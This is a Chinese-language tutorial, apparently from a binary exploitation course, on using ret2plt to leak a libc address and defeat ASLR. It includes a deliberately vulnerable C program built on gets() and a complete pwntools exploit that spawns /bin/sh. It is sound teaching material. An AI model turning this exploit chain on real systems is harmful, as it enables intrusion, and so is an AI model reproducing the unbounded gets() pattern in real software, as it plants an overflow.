发布于

ret2plt 绕过 ASLR

作者

0x01 概述

这次没有可以直接利用的信息了,你必须使用前面讲到的 ret2plt 技术。在进一步了解之前,请先自己尝试一下。

ret2plt.zip

Binary

source.c
#include <stdio.h>

void vuln() {
  puts("Come get me");

  char buffer[20];
  gets(buffer);
}

int main() {
  vuln();

  return 0;
}

0x02 分析

我们需要以某种手段泄漏 ASLR 基地址。在这题中,唯一可行的方法是 ret2plt。gets() 可以读取任意大小的数据,所以不用担心栈空间不足的问题。我们可以充分利用 gets() 构造 ret2plt 的 exploit 链。通过返回到 PLT 表,可以泄漏需要的地址信息。

因此,在栈空间充足的情况下,使用 ret2plt 是最合适的手段。

0x03 利用

基本信息:

from pwn import *

context.log_level = 'debug'

elf = context.binary = ELF('./vuln-32')
libc = elf.libc

p = process()

现在我们要构造一个可以泄漏 puts 真实地址的 payload。根据之前讲到的,调用函数的 PLT 条目等同于调用函数本身。传入 puts@got 作为参数,会打印出 putslibc 中的实际地址,因为 C 语言传递字符串参数传递的是指针。我们知道 puts@got 就是一个已知地址,可以打印。这样就可以通过 puts@plt 间接获取 puts@got 中的内容。

p.recvline()  # 只接收第一个输出

payload = flat(
    'A' * 32,
    elf.plt['puts'],
    elf.sym['main'],
    elf.got['puts']
)

调用 main 的目的是让程序可以重新运行。如果我们直接返回到一个随机的地址,会让程序崩溃。再次调用 main 本质上是重启了程序,这样可以使程序在泄漏 libc 的基地址后继续运行。然后我们就可以进行 ret2libc 攻击。

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

这里需要注意 puts 会一直输出,直到遇到空字节,所以它不只是泄漏了 GOT 表中的地址。但我们只关心第一个,也就是 GOT 表里面的前 4 个字节。使用 u32 转换为地址。之后,忽略调用 main 时产生的其它内容。我们只取关键信息,过滤无用数据。

从这里开始,我们只需要计算出 libc 的基地址并执行基本的 ret2libc:

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
    'A' * 32,
    libc.sym['system'],
    libc.sym['exit'],  # 虽然这里不需要退出,但这样做更好
    next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

1x01 最终 Exploit

exp.py
from pwn import *

context.log_level = 'debug'

elf = context.binary = ELF('./vuln-32')
libc = elf.libc

p = process()

p.recvline()  # 只接收第一个输出

payload = flat(
    'A' * 32,
    elf.plt['puts'],
    elf.sym['main'],
    elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
    'A' * 32,
    libc.sym['system'],
    libc.sym['exit'],  # 虽然这里不需要退出,但这样做会更好
    next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

0x04 64-bit

你知道该怎么做 :) 在 64-bit 上尝试同样的操作。如果需要,你可以使用 pwntools 的 ROP 功能;或者,为了确保你理解调用约定,请大胆地同时执行这两个操作 :P

ret2plt-64.zip

Binary